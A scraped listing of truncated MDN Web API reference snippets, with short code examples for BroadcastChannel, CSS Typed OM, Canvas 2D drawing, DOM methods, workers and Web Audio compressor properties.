bubbles no cancelable no interface messageevent event handler property onmessageerror examples this code uses addeventlistener to listen for messages and errors: const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel = new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.textcontent = event.data; }; channel.onm...
BroadcastChannel.name - Web APIs
syntax var str = channel.name; examples // connect to a channel var bc = new broadcastchannel('test_channel'); // more operations (like postmessage, …) // log the channel name to the console console.log(bc.name); // "test_channel" // when done, disconnect from the channel bc.close(); specifications specification status comment html living standardthe definition of 'broadcastchannel.name' in that specification.
BroadcastChannel - Web APIs
broadcastchannel.close() closes the channel object, indicating it won't get any new messages, and allowing it to be, eventually, garbage collected.
Broadcast Channel API - Web APIs
// connection to a broadcast channel const bc = new broadcastchannel('test_channel'); sending a message it is enough to call the postmessage() method on the created broadcastchannel object, which takes any object as an argument.
ByteLengthQueuingStrategy.size() - Web APIs
examples const queuingstrategy = new bytelengthqueuingstrategy({ highwatermark: 1 }); const readablestream = new readablestream({ start(controller) { ...
CSS numeric factory functions - Web APIs
these functions create new numeric values less verbosely than using the cssunitvalue.cssunitvalue() constructor.
CSS - Web APIs
WebAPICSS
css factory functions can be used to return a new cssunitvalue with a value of the parameter number of the units of the name of the factory function method used.
CSSGroupingRule - Web APIs
cssgroupingrule.insertrule inserts a new style rule into the current style sheet.
CSSKeyframesRule - Web APIs
it has three specific methods: csskeyframesrule.appendrule() inserts a new keyframe rule into the current csskeyframesrule.
CSSKeywordValue.value - Web APIs
let indicator = document.getelementbyid('indicator'); indicator.attributestylemap.set('display', new csskeywordvalue('initial')); indicator.attributestylemap.get('display').value // 'initial' specifications specification status comment css typed om level 1the definition of 'undefined' in that specification.
CSSMathProduct.CSSMathProduct() - Web APIs
the cssmathproduct() constructor creates a new cssmathproduct object which creates a new cssmathproduct object which syntax var cssmathproduct = new cssmathproduct() parameters arg a value for the cssmathproduct object to be constructed either a double integer or a cssnumericvalue.
CSSMathProduct - Web APIs
constructor cssmathproduct.cssmathproduct() creates a new cssmathproduct object.
CSSMathSum - Web APIs
constructor cssmathsum.cssmathsum() creates a new cssmathsum object.
CSSNumericValue.equals() - Web APIs
let cssmathsum = new cssmathsum(css.px(1), css.px(2)); let matchingcssmathsum = new cssmathsum(css.px(1), css.px(2)); // prints true console.log(cssmathsum.equals(matchingcssmathsum)); let othercssmathsum = cssmathsum(css.px(2), css.px(1)); // prints false console.log(cssmathsum.equals(othercssmathsum)); // also prints false console.log(css.cm("1").equal(css.in("0.393701"))); specifications specification...
CSSPositionValue.x - Web APIs
let somediv = document.getelementbyid('container'); let position = new csspositionvalue(css.px(5), css.px(10)); somediv.attributestylemap.set('object-position', position); console.log(position.x.value, position.y.value); ...
CSSPositionValue.y - Web APIs
let replaceel = document.getelementbyid('container'); let position = new csspositionvalue(css.px(5), css.px(10)); somediv.attributestylemap.set('object-position', position); console.log(position.x.value, position.y.value); ...
CSSPrimitiveValue.setFloatValue() - Web APIs
floatvalue a float representing the new float value.
CSSPrimitiveValue.setStringValue() - Web APIs
stringvalue a domstring representing the new string value.
CSSStyleDeclaration - Web APIs
cssstyledeclaration.setproperty() modifies an existing css property or creates a new css property in the declaration block.
CSSUnitValue.unit - Web APIs
WebAPICSSUnitValueunit
let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "em" )); console.log( pos.x.unit ); // "px" console.log( pos.y.unit ); // "em" specifications specification status comment css typed om level 1the definition of 'cssunitvalue.unit' in that specification.
CSSUnitValue.value - Web APIs
let pos = new csspositionvalue( new cssunitvalue( 5, "px" ), new cssunitvalue( 10, "px" )); console.log( pos.x.value ); // 5 console.log( pos.y.value ); // 10 specifications specification status comment css typed om level 1the definition of 'cssunitvalue.value' in that specification.
CSSUnparsedValue.length - Web APIs
examples in this example we employ the cssunparsedvalue.cssunparsedvalue() constructor, then query the length: let values = new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( values.length ) // 3 specifications specification status comment css typed om level 1the definition of 'length' in that specification.
CSSVariableReferenceValue - Web APIs
constructor cssvariablereferencevalue.cssvariablereferencevalue() creates a new cssvariablereferencevalue object.
CSS Painting API - Web APIs
get contextoptions() { return {alpha: true}; } paint(ctx, size, props, args) { const x = 0; const y = size.height * 0.3; const blockwidth = size.width * 0.33; const blockheight = size.height * 0.85; const thecolor = props.get( '--boxcolor' ); const stroketype = args[0].tostring(); const strokewidth = parseint(args[1]); console.log(thecolor); if ( strokewidth ) { ctx.linewidth = strokewidth; } else { ctx.linewidth = 1.0; } if ( stroketype === 'stroke' ) { ctx.fillstyle = 'transparent'; ctx.strokestyle = thecolor; } else if ( stroketype === 'filled' ) { ctx.fillstyle = thecolor; ctx.strokestyle = thecolor; } else { ctx.fillstyle = 'none'; ctx.strokestyle = 'none'; } ctx.beginpath(); ctx.moveto( x, y ); ctx.lineto( blockwidt...
Using the CSS Typed Object Model - Web APIs
for example, the parameters for a csspositionvalue is one to two cssunitvalues or csskeywordvalues, or one of each: let position = new csspositionvalue( new csskeywordvalue("center"), new cssunitvalue(10, "px")); cssstylevalue the cssstylevalue interface of the the css typed object model api is the base class of all css values accessible through the typed om api, including cssimagevalue, csskeywordvalue, cssnumericvalue, csspositionvalue, csstransformvalue, and cssunparsedvalue.
Cache.addAll() - Web APIs
WebAPICacheaddAll
this consists of calling cachestorage.open to create a new cache, then using addall() to add a series of assets to it.
Cache.put() - Web APIs
WebAPICacheput
fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) note: put() will overwrite any key/value pair previously stored in the cache that matches the request.
CacheStorage.delete() - Web APIs
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
CacheStorage.keys() - Web APIs
WebAPICacheStoragekeys
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated.
CanvasGradient.addColorStop() - Web APIs
the canvasgradient.addcolorstop() method adds a new color stop, defined by an offset and a color, to a given canvas gradient.
CanvasGradient - Web APIs
canvasgradient.addcolorstop() adds a new stop, defined by an offset and a color, to the gradient.
CanvasRenderingContext2D.arcTo() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // tangential lines ctx.beginpath(); ctx.strokestyle = 'gray'; ctx.moveto(200, 20); ctx.lineto(200, 130); ctx.lineto(50, 20); ctx.stroke(); // arc ctx.beginpath(); ctx.strokestyle = 'black'; ctx.linewidth = 5; ctx.moveto(200, 20); ctx.arcto(200,130, 50,20, 40); ctx.stroke(); // start point ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.arc(200, 20, 5, 0, 2 * math.pi); ctx.fill(); // control points ctx.beginpath(); ctx.fillstyle = 'red'; ctx.arc(200, 130, 5, 0, 2 * math.pi); // control point one ctx.arc(50, 20, 5, 0, 2 * math.pi); // control point two ctx.fill(); result in this example, th...
CanvasRenderingContext2D.clearRect() - Web APIs
make sure to call beginpath() before starting to draw new items after calling clearrect().
CanvasRenderingContext2D.clip() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create clipping path let region = new path2d(); region.rect(80, 10, 20, 130); region.rect(40, 50, 100, 50); ctx.clip(region, "evenodd"); // draw stuff that gets clipped ctx.fillstyle = 'blue'; ctx.fillrect(0, 0, canvas.width, canvas.height); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.clip' in that specification.
CanvasRenderingContext2D.closePath() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.arc(240, 20, 40, 0, math.pi); ctx.moveto(100, 20); ctx.arc(60, 20, 40, 0, math.pi); ctx.moveto(215, 80); ctx.arc(150, 80, 65, 0, math.pi); ctx.closepath(); ctx.linewidth = 6; ctx.stroke(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.closepath' in that specification.
CanvasRenderingContext2D.createPattern() - Web APIs
the original image looks like this: html <canvas id="canvas" width="300" height="300"></canvas> javascript var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var img = new image(); img.src = 'https://udn.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 300, 300); }; creating a pattern from a canvas in this example we create a pattern from the contents of an offscreen canvas.
CanvasRenderingContext2D.drawImage() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = new image(60, 45); // using optional size for image image.onload = drawimageactualsize; // draw when image has loaded // load an image of intrinsic size 300x227 in css pixels image.src = 'https://udn.realityripple.com/samples/db/f374e9c6fc.jpg'; function drawimageactualsize() { // use the intrinsic size of image in css pixels for the canvas element canvas.width = this.naturalwidth; canvas.hei...
CanvasRenderingContext2D.fill() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create path let region = new path2d(); region.moveto(30, 90); region.lineto(110, 20); region.lineto(240, 130); region.lineto(60, 130); region.lineto(190, 20); region.lineto(270, 90); region.closepath(); // fill path ctx.fillstyle = 'green'; ctx.fill(region, 'evenodd'); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.fill' in tha...
CanvasRenderingContext2D.font - Web APIs
let f = new fontface('test', 'url(x)'); f.load().then(function() { // ready to use the font in a canvas context }); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.font' in that specification.
CanvasRenderingContext2D.globalAlpha - Web APIs
with each new circle, the opacity of the previous circles underneath is effectively increased.
CanvasRenderingContext2D.globalCompositeOperation - Web APIs
the canvasrenderingcontext2d.globalcompositeoperation property of the canvas 2d api sets the type of compositing operation to apply when drawing new shapes.
CanvasRenderingContext2D.imageSmoothingEnabled - Web APIs
html <canvas id="canvas" width="460" height="210"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '16px sans-serif'; ctx.textalign = 'center'; const img = new image(); img.src = 'https://interactive-examples.mdn.mozilla.net/media/examples/star.png'; img.onload = function() { const w = img.width, h = img.height; ctx.filltext('source', w * .5, 20); ctx.drawimage(img, 0, 24, w, h); ctx.filltext('smoothing = true', w * 2.5, 20); ctx.imagesmoothingenabled = true; ctx.drawimage(img, w, 24, w * 3, h * 3); ctx.filltext('smoothing = fal...
CanvasRenderingContext2D.imageSmoothingQuality - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { ctx.imagesmoothingquality = 'low'; ctx.drawimage(img, 0, 0, 300, 150); }; result specifications specification status comment html living standardthe definition of 'imagesmoothingquality' in that specification.
CanvasRenderingContext2D.isPointInPath() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create circle const circle = new path2d(); circle.arc(150, 75, 50, 0, 2 * math.pi); ctx.fillstyle = 'red'; ctx.fill(circle); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside circle if (ctx.ispointinpath(circle, event.offsetx, event.offsety)) { ctx.fillstyle = 'green'; } else { ctx.fillstyle = 'red'; } // draw circle ctx.clearrect(0, 0, canva...
CanvasRenderingContext2D.isPointInStroke() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create ellipse const ellipse = new path2d(); ellipse.ellipse(150, 75, 40, 60, math.pi * .25, 0, 2 * math.pi); ctx.linewidth = 25; ctx.strokestyle = 'red'; ctx.fill(ellipse); ctx.stroke(ellipse); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside ellipse's stroke if (ctx.ispointinstroke(ellipse, event.offsetx, event.offsety)) { ctx.strokestyle = 'green'; } ...
CanvasRenderingContext2D.miterLimit - Web APIs
playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginpath(); ctx.moveto(0,0); ctx.linewidth = 15; ctx.lineto(100, 100); ctx.stroke();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea...
CanvasRenderingContext2D.moveTo() - Web APIs
the canvasrenderingcontext2d.moveto() method of the canvas 2d api begins a new sub-path at the point specified by the given (x, y) coordinates.
CanvasRenderingContext2D.save() - Web APIs
the current values of the following attributes: strokestyle, fillstyle, globalalpha, linewidth, linecap, linejoin, miterlimit, linedashoffset, shadowoffsetx, shadowoffsety, shadowblur, shadowcolor, globalcompositeoperation, font, textalign, textbaseline, direction, imagesmoothingenabled.
CanvasRenderingContext2D.setTransform() - Web APIs
the newer type consists of a single parameter, matrix, representing a 2d transformation matrix to set (technically, a dommatrixinit object; any object will do as long as it contains the above components as properties).
CanvasRenderingContext2D.strokeRect() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.shadowcolor = '#d53'; ctx.shadowblur = 20; ctx.linejoin = 'bevel'; ctx.linewidth = 15; ctx.strokestyle = '#38f'; ctx.strokerect(30, 30, 160, 90); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.strokerect' in that specification.
Finale - Web APIs
WebAPICanvas APITutorialFinale
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
Channel Messaging API - Web APIs
channel messaging interfaces messagechannel creates a new message channel to send messages across.
ChildNode - Web APIs
WebAPIChildNode
the characterdata and documenttype implemented the new interfaces.
Client.type - Web APIs
WebAPIClienttype
a document) function sendmessage(message) { return new promise(function(resolve, reject) { // note that this is the serviceworker.postmessage version navigator.serviceworker.controller.postmessage(message); window.serviceworker.onmessage = function(e) { resolve(e.data); }; }); } // controlling service worker self.addeventlistener("message", function(e) { // e.source is a client object e.source.postmessage("hello!
Clipboard.writeText() - Web APIs
syntax var promise = navigator.clipboard.writetext(newcliptext) parameters newcliptext the domstring to be written to the clipboard.
CloseEvent - Web APIs
constructor closeevent() creates a new closeevent.
CompositionEvent - Web APIs
><rect x="231" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">compositionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor compositionevent() creates a new compositionevent object instance.
Console.time() - Web APIs
WebAPIConsoletime
syntax console.time(label); parameters label the name to give the new timer.
ConstantSourceNode - Web APIs
number of inputs 0 number of outputs 1 constructor constantsourcenode() creates and returns a new constantsourcenode instance, optionally specifying an object which establishes initial values for the object's properties.
Constraint validation API - Web APIs
extensions to other interfaces the constraint validation api extends the interfaces for the form-associated elements listed below with a number of new properties and methods (elements that can have a form attribute that indicates their form owner): htmlbuttonelement htmlfieldsetelement htmlinputelement htmlobjectelement htmloutputelement htmlselectelement htmltextareaelement properties validity a read-only property that returns a validitystate object, whose properties represent validation errors for the value of that element.
ContentIndexEvent - Web APIs
constructor contentindexevent() creates and returns a new contentindexevent object whose type and other options are configured as specified.
Content Index API - Web APIs
examples could be a news website prefetching the latest articles in the background, or a content streaming app registering downloaded content.
CountQueuingStrategy.size() - Web APIs
examples const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ...
CredentialsContainer - Web APIs
methods credentialscontainer.create()secure context returns a promise that resolves with a new credential instance based on the provided options, or null if no credential object can be created.
CryptoKey - Web APIs
WebAPICryptoKey
"derivekey": the key may be used in deriving a new key.
CustomEvent.detail - Web APIs
example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification.
CustomEvent - Web APIs
this interface inherits methods from its parent, event: event.createevent() creates a new event, which must then be initialized by calling its initevent() method.
DOMException.code - Web APIs
WebAPIDOMExceptioncode
new dom exceptions don't use this anymore: they put this info in the domexception.name attribute.
DOMException - Web APIs
new dom exceptions don't use this anymore: they put this info in the domexception.name attribute.
DOMHighResTimeStamp - Web APIs
if during the process of unloading the previous document which was loaded in the window, a confirmation dialog was displayed to let the user confirm whether or not to leave the previous page, the time origin is the time at which the user confirmed that navigating to the new page was acceptable.
DOMPointInit.w - Web APIs
WebAPIDOMPointInitw
there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
DOMPointInit.y - Web APIs
WebAPIDOMPointInity
there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
DOMPointInit.z - Web APIs
WebAPIDOMPointInitz
there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
DOMPointInit - Web APIs
example this example creates a new dompoint representing the top-left corner of the current window, with a z component added to move the point closer to the user.
DOMRectReadOnly.fromRect() - Web APIs
the fromrect() property of the domrectreadonly interface creates a new domrectreadonly object with a given location and dimensions.
DOMTokenList.add() - Web APIs
WebAPIDOMTokenListadd
we then add a new token to the list, and write the list into the <span>'s node.textcontent.
DOMTokenList - Web APIs
domtokenlist.replace(oldtoken, newtoken) replaces token with newtoken.
DataTransfer.setData() - Web APIs
if data for the given type does not exist, it is added at the end of the drag data store, such that the last item in the types list will be the new type.
DataTransfer.setDragImage() - Web APIs
var img = new image(); img.src = 'example.gif'; ev.datatransfer.setdragimage(img, 10, 10); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } </scrip...
DataTransferItemList - Web APIs
methods datatransferitemlist.add() adds an item (either a file object or a string) to the drag item list and returns a datatransferitem object for the new item.
DedicatedWorkerGlobalScope: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); the worker can listen for this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message from parent: ${event.data}`); })...
DedicatedWorkerGlobalScope.name - Web APIs
example if a worker is created using a constructor with a name option: var myworker = new worker("worker.js", { name : "myworker" }); the dedicatedworkerglobalscope will now have a name of "myworker", returnable by running self.name from inside the worker.
DedicatedWorkerGlobalScope.onmessage - Web APIs
var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js script, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main script: onmessage ...
DeviceMotionEvent - Web APIs
constructor devicemotionevent.devicemotionevent() creates a new devicemotionevent.
DeviceOrientationEvent - Web APIs
constructor deviceorientationevent.deviceorientationevent() creates a new deviceorientationevent.
DirectoryReaderSync - Web APIs
window.resolvelocalfilesystemurl = window.resolvelocalfilesystemurl || window.webkitresolvelocalfilesystemurl; // create web workers var worker = new worker('worker.js'); worker.onmessage = function(e) { var urls = e.data.entries; urls.foreach(function(url, i) { window.resolvelocalfilesystemurl(url, function(fileentry) { // print out file's name.
Document.adoptNode() - Web APIs
example const iframe = document.queryselector('iframe'); const iframeimages = iframe.contentdocument.queryselectorall('img'); const newparent = document.getelementbyid('images'); iframeimages.foreach(function(imgel) { newparent.appendchild(document.adoptnode(imgel)); }); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document.anchors - Web APIs
WebAPIDocumentanchors
example if (document.anchors.length >= 5) { dump("found too many anchors"); } the following is an example that auto populates a table of contents with every anchor on the page: <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>test</title> <script> function init() { var toc = document.getelementbyid("toc"); var i, li, newanchor; for (i = 0; i < document.anchors.length; i++) { li = document.createelement("li"); newanchor = document.createelement('a'); newanchor.href = "#" + document.anchors[i].name; newanchor.innerhtml = document.anchors[i].text; li.appendchild(newanchor); toc.appendchild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="contents">contents</a...
Document.createNodeIterator() - Web APIs
returns a new nodeiterator object.
Document.createRange() - Web APIs
the document.createrange() method returns a new range object.
Document.createTouch() - Web APIs
the document.createtouch() method creates and returns a new touch object.
Document.createTouchList() - Web APIs
the document.createtouchlist() method creates and returns a new touchlist object.
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
null is the most common and will create a new xpathresult example var headings = document.evaluate("/html/body//h2", document, null, xpathresult.any_type, null); /* search the document for all h2 elements.
Document.fonts - Web APIs
WebAPIDocumentfonts
the fontfaceset interface is useful for loading new fonts, checking the status of previously loaded fonts etc.
Document.getElementById() - Web APIs
example html <html> <head> <title>getelementbyid example</title> </head> <body> <p id="para">some text here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> </body> </html> javascript function changecolor(newcolor) { var elem = document.getelementbyid('para'); elem.style.color = newcolor; } result usage notes the capitalization of "id" in the name of this method must be correct for the code to function; getelementbyid() is not valid and will not work, however natural it may seem.
Document.getElementsByName() - Web APIs
syntax var elements = document.getelementsbyname(name); elements is a live nodelist collection, meaning it automatically updates as new elements with the same name are added to/removed from the document.
Document.getElementsByTagNameNS() - Web APIs
to use the following example, just copy/paste it into a new file saved with the .xhtml extension.
Document.lastModified - Web APIs
let olastmodif = new date(document.lastmodified); transforming lastmodified into milliseconds this example transforms lastmodified into the number of milliseconds since january 1, 1970, 00:00:00, local time.
Document.popupNode - Web APIs
<menuitem oncommand="mailnewscore.deletebutton(document.popupnode)"> ...
Document.selectedStyleSheetSet - Web APIs
syntax currentstylesheetset = document.selectedstylesheetset; document.selectedstylesheet = newstylesheetset; on return, currentstylesheetset indicates the name of the style sheet set currently in use.
Document: selectstart event - Web APIs
the selectstart event of the selection api is fired when a user starts a new selection.
Document.title - Web APIs
WebAPIDocumenttitle
document.title = newtitle; newtitle is the new title of the document.
Document.write() - Web APIs
WebAPIDocumentwrite
example <html> <head> <title>write example</title> <script> function newcontent() { document.open(); document.write("<h1>out with the old, in with the new!</h1>"); document.close(); } </script> </head> <body onload="newcontent();"> <p>some original document content.</p> </body> </html> notes the text you write is parsed into the document's structure model.
DocumentOrShadowRoot.elementFromPoint() - Web APIs
javascript function changecolor(newcolor) { elem = document.elementfrompoint(2, 2); elem.style.color = newcolor; } the changecolor() method simply obtains the element located at the specified point, then sets that element's current foreground color property to the color specified by the newcolor parameter.
Examples of web and XML development using the DOM - Web APIs
example 1: height and width the following example shows the use of the height and width properties alongside images of varying dimensions: <!doctype html> <html lang="en"> <head> <title>width/height example</title> <script> function init() { var arrimages = new array(3); arrimages[0] = document.getelementbyid("image1"); arrimages[1] = document.getelementbyid("image2"); arrimages[2] = document.getelementbyid("image3"); var objoutput = document.getelementbyid("output"); var strhtml = "<ul>"; for (var i = 0; i < arrimages.length; i++) { strhtml += "<li>image" + (i+1) + ": height=" + arrimages[i].height + ", width=...
Locating DOM elements using selectors - Web APIs
the nodeselector interface this specification adds two new methods to any objects implementing the document, documentfragment, or element interfaces: queryselector() returns the first matching element node within the node's subtree.
DragEvent() - Web APIs
syntax event = new dragevent(type, drageventinit); arguments type is a domstring representing the name of the event (see dragevent event types).
DragEvent - Web APIs
WebAPIDragEvent
the user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another dom element).
DynamicsCompressorNode.attack - Web APIs
syntax var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); compressor.attack.value = 0; value an audioparam.
DynamicsCompressorNode.knee - Web APIs
syntax var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); compressor.knee.value = 40; value an audioparam.
DynamicsCompressorNode.ratio - Web APIs
syntax var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); compressor.ratio.value = 12; value an audioparam.
DynamicsCompressorNode.reduction - Web APIs
example var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); var myreduction = compressor.reduction; specifications specification status comment web audio apithe definition of 'reduction' in that specification.
DynamicsCompressorNode.release - Web APIs
syntax var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); compressor.release.value = 0.25; value an audioparam.
DynamicsCompressorNode.threshold - Web APIs
syntax var audioctx = new audiocontext(); var compressor = audioctx.createdynamicscompressor(); compressor.threshold.value = -50; value an audioparam.
DynamicsCompressorNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor dynamicscompressornode() creates a new instance of an dynamicscompressornode object.
EXT_shader_texture_lod - Web APIs
glsl built-in functions the following new functions can be used in glsl shader code, if this extension is enabled: vec4 texture2dlodext(sampler2d sampler, vec2 coord, float lod) vec4 texture2dprojlodext(sampler2d sampler, vec3 coord, float lod) vec4 texture2dprojlodext(sampler2d sampler, vec4 coord, float lod) vec4 texturecubelodext(samplercube sampler, vec3 coord, float lod) vec4 texture2dgradext(sampler2d sampler, vec2 p, vec2 dpdx, v...
EffectTiming.fill - Web APIs
WebAPIEffectTimingfill
var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // set up the rabbit's animation to play on command by calling rabbitdownanimation.play() later var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); alternatives to fill modes fill modes are primaril...
Element: MSGestureStart event - Web APIs
the msgesturestart event is fired when there's a new point of contact on the touch surface, thus starting a new gesture.
Element.attachShadow() - Web APIs
'open'}); // create text node and add word count to it var text = document.createelement('span'); text.textcontent = count; // append it to the shadow root shadow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); specifications specification status comment domthe definition of 'attachshadow()' in that specification.
Element: auxclick event - Web APIs
bubbles yes cancelable yes interface mouseevent event handler property onauxclick preventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this behavior by calling preventdefault() from within an auxclick event handler.
Element: compositionstart event - Web APIs
the compositionstart event is fired when a text composition system such as an input method editor starts a new composition session.
Element: compositionupdate event - Web APIs
the compositionupdate event is fired when a new character is received in the context of a text composition session controlled by a text composition system such as an input method editor.
Element: gesturestart event - Web APIs
the gesturestart event is fired when multiple fingers contact the touch surface, thus starting a new gesture.
Element.getAttributeNames() - Web APIs
tattributenames(); example // iterate over element's attributes for (let name of element.getattributenames()) { let value = element.getattribute(name); console.log(name, value); } polyfill if (element.prototype.getattributenames == undefined) { element.prototype.getattributenames = function () { var attributes = this.attributes; var length = attributes.length; var result = new array(length); for (var i = 0; i < length; i++) { result[i] = attributes[i].name; } return result; }; } specifications specification status comment domthe definition of 'element.getattributenames' in that specification.
Element.getBoundingClientRect() - Web APIs
moreover, and unexpectedly, the es2015 and newer features such as object.assign() and object rest/spread will fail to copy returned properties.
Element.getElementsByClassName() - Web APIs
as new elements that match names are added to the subtree, they immediately appear in the collection.
Element.insertAdjacentElement() - Web APIs
when one is clicked, it becomes selected and you can then press the insert before and insert after buttons to insert new divs before or after the selected element using insertadjacentelement().
Element.insertAdjacentHTML() - Web APIs
example // <div id="one">one</div> var d1 = document.getelementbyid('one'); d1.insertadjacenthtml('afterend', '<div id="two">two</div>'); // at this point, the new structure is: // <div id="one">one</div><div id="two">two</div> notes security considerations when inserting html into a page by using insertadjacenthtml(), be careful not to use user input that hasn't been escaped.
Element.insertAdjacentText() - Web APIs
note that the existing text node is not added to — further text nodes are created containing the new additions.
Element: mousedown event - Web APIs
g === true) { drawline(context, x, y, e.offsetx, e.offsety); x = e.offsetx; y = e.offsety; } }); window.addeventlistener('mouseup', e => { if (isdrawing === true) { drawline(context, x, y, e.offsetx, e.offsety); x = 0; y = 0; isdrawing = false; } }); function drawline(context, x1, y1, x2, y2) { context.beginpath(); context.strokestyle = 'black'; context.linewidth = 1; context.moveto(x1, y1); context.lineto(x2, y2); context.stroke(); context.closepath(); } result specifications specification status ui eventsthe definition of 'mousedown' in that specification.
Element: mouseenter event - Web APIs
